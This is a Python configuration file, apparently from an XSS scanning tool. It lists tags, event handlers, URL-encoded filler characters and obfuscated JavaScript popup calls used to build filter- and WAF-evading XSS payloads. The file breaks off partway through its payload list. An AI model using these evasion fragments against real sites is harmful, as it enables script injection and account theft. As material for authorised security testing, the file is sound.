changes = '''Negligible DOM XSS false positives;x10 faster crawling''' globalVariables = {} # it holds variables during runtime for collaboration across modules defaultEditor = 'nano' blindPayload = '' # your blind XSS payload xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff # More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies proxies = {'http': 'http://0.0.0.0:8080', 'https': 'http://0.0.0.0:8080'} minEfficiency = 90 # payloads below this efficiency will not be displayed delay = 0 # default delay between http requests threadCount = 10 # default number of threads timeout = 10 # default number of http request timeout # attributes that have special properties specialAttributes = ['srcdoc', 'src'] badTags = ('iframe', 'title', 'textarea', 'noembed', 'style', 'template', 'noscript') tags = ('html', 'd3v', 'a', 'details') # HTML Tags # "Things" that can be used between js functions and breakers e.g. '};alert()// jFillings = (';') # "Things" that can be used before > e.g. lFillings = ('', '%0dx') # "Things" to use between event handler and = or between function and = eFillings = ('%09', '%0a', '%0d', '+') fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space eventHandlers = { # Event handlers and the tags compatible with them 'ontoggle': ['details'], 'onpointerenter': ['d3v', 'details', 'html', 'a'], 'onmouseover': ['a', 'html', 'd3v'] } functions = ( # JavaScript functions to get a popup '[8].find(confirm)', 'confirm()', '(confirm)()', 'co\u006efir\u006d()', '(prompt)``', 'a=prompt,a()') payloads = ( # Payloads for filter & WAF evasion '\'"', '

', '